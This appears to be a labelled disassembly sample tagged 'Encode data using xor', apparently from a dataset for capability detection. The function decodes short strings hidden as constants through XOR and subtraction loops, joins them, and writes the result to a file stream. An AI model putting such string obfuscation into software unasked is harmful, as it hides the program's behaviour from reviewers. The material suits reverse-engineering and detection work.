Function at 0x4138ff
Capabilities:
Encode data using xor

Disassembly:
push 0x1f0
mov eax, 0x42226c
call fcn.00420a4f
mov ebx, ecx
mov dword [ebp - 0x14c], ebx
and dword [ebp - 4], 0
lea eax, [ebx + 0xa8]
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x148], esp
push eax
call fcn.004051dd
sub esp, 0x18
mov byte [ebp - 4], 1
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.004051dd
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 0
call fcn.00412a5d
lea ecx, [ebp - 0x144]
mov byte [ebp - 4], 2
call fcn.00405724
lea ecx, [ebp - 0x144]
call fcn.00406319
mov eax, dword [ebp - 0xe0]
mov esi, dword [ebp - 0xe4]
mov dword [ebp - 0x148], eax
cmp esi, eax
je 0x413bd1
xor eax, eax
lea edi, [ebp - 0x60]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
and dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0xf
mov byte [ebp - 0x60], 0
mov byte [ebp - 4], 3
mov ebx, dword [ebp - 0x148]
push esi
lea ecx, [ebp - 0xa8]
call fcn.004051dd
lea eax, [esi + 0x18]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x90]
call fcn.004051dd
mov byte [ebp - 4], 5
mov cl, 0x2c
mov dword [ebp - 0x24], 0x5845782c
xor eax, eax
mov dword [ebp - 0x20], 0xc164940
mov byte [ebp - 0x1c], 0
xor byte [ebp + eax - 0x23], cl
inc eax
cmp eax, 7
jae 0x4139f0
mov cl, byte [ebp - 0x24]
jmp 0x4139e1
lea eax, [ebp - 0xa8]
mov byte [ebp - 0x1c], 0
push eax
lea edx, [ebp - 0x23]
lea ecx, [ebp - 0xd8]
call fcn.004169c6
pop ecx
mov edi, eax
mov byte [ebp - 4], 6
mov dl, 0x38
mov dword [ebp - 0x30], 0x5d121538
xor ecx, ecx
mov dword [ebp - 0x2c], 0x2842747a
mov byte [ebp - 0x28], 0
movsx eax, dl
and eax, 0x8000000f
jns 0x413a35
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x2f], al
inc ecx
cmp ecx, 7
jae 0x413a44
mov dl, byte [ebp - 0x30]
jmp 0x413a26
lea eax, [ebp - 0x2f]
mov byte [ebp - 0x28], 0
push eax
mov edx, edi
lea ecx, [ebp - 0xc0]
call fcn.0040691f
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 7
push ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00405361
pop ecx
pop ecx
mov edi, eax
mov byte [ebp - 4], 8
mov dl, 1
mov dword [ebp - 0x18], 0xe0b0e01
xor ecx, ecx
mov word [ebp - 0x14], 0xb
movsx eax, dl
and eax, 0x8000000f
jns 0x413a96
dec eax
or eax, 0xfffffff0
inc eax
sub byte [ebp + ecx - 0x17], al
inc ecx
cmp ecx, 4
jae 0x413aa5
mov dl, byte [ebp - 0x18]
jmp 0x413a87
lea eax, [ebp - 0x17]
mov byte [ebp - 0x13], 0
push eax
mov edx, edi
lea ecx, [ebp - 0x78]
call fcn.0040691f
pop ecx
mov byte [ebp - 4], 9
mov ecx, eax
cmp dword [eax + 0x14], 0xf
jbe 0x413ac6
mov ecx, dword [eax]
push dword [eax + 0x10]
push ecx
lea ecx, [ebp - 0x60]
call fcn.004052bb
lea ecx, [ebp - 0x78]
call fcn.0040400e
lea ecx, [ebp - 0x48]
call fcn.0040400e
lea ecx, [ebp - 0xc0]
call fcn.0040400e
lea ecx, [ebp - 0xd8]
call fcn.0040400e
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 3
call fcn.0040400e
lea ecx, [ebp - 0xa8]
call fcn.0040400e
add esi, 0x30
cmp esi, ebx
jne 0x4139a8
cmp dword [ebp - 0x50], 0
mov ebx, dword [ebp - 0x14c]
je 0x413bc9
movaps xmm0, xmmword [0x402310]
xor ecx, ecx
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x38], 0x376d3a31
mov word [ebp - 0x34], 0x373b
mov byte [ebp - 0x32], 0
mov al, byte [ebp - 0x48]
xor byte [ebp + ecx - 0x47], al
inc ecx
cmp ecx, 0x15
jb 0x413b4b
lea eax, [ebp - 0x47]
mov byte [ebp - 0x32], 0
push eax
lea edx, [ebx + 0x90]
lea ecx, [ebp - 0x78]
call fcn.00407c78
push ecx
push 8
lea eax, [ebp - 0x78]
mov byte [ebp - 4], 0xa
push eax
lea ecx, [ebp - 0x1fc]
call fcn.004163e6
mov byte [ebp - 4], 0xb
cmp dword [ebp - 0x1ac], 0
je 0x413baa
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x1fc]
call fcn.00416bb3
lea ecx, [ebp - 0x1fc]
call fcn.00416395
lea ecx, [ebp - 0x194]
call fcn.004163b6
lea ecx, [ebp - 0x194]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x78]
call fcn.0040400e
lea ecx, [ebp - 0x60]
call fcn.0040400e
lea ecx, [ebp - 0x144]
call fcn.00413452
lea ecx, [ebp + 8]
call fcn.0040400e
call fcn.00420a0d
ret 0x18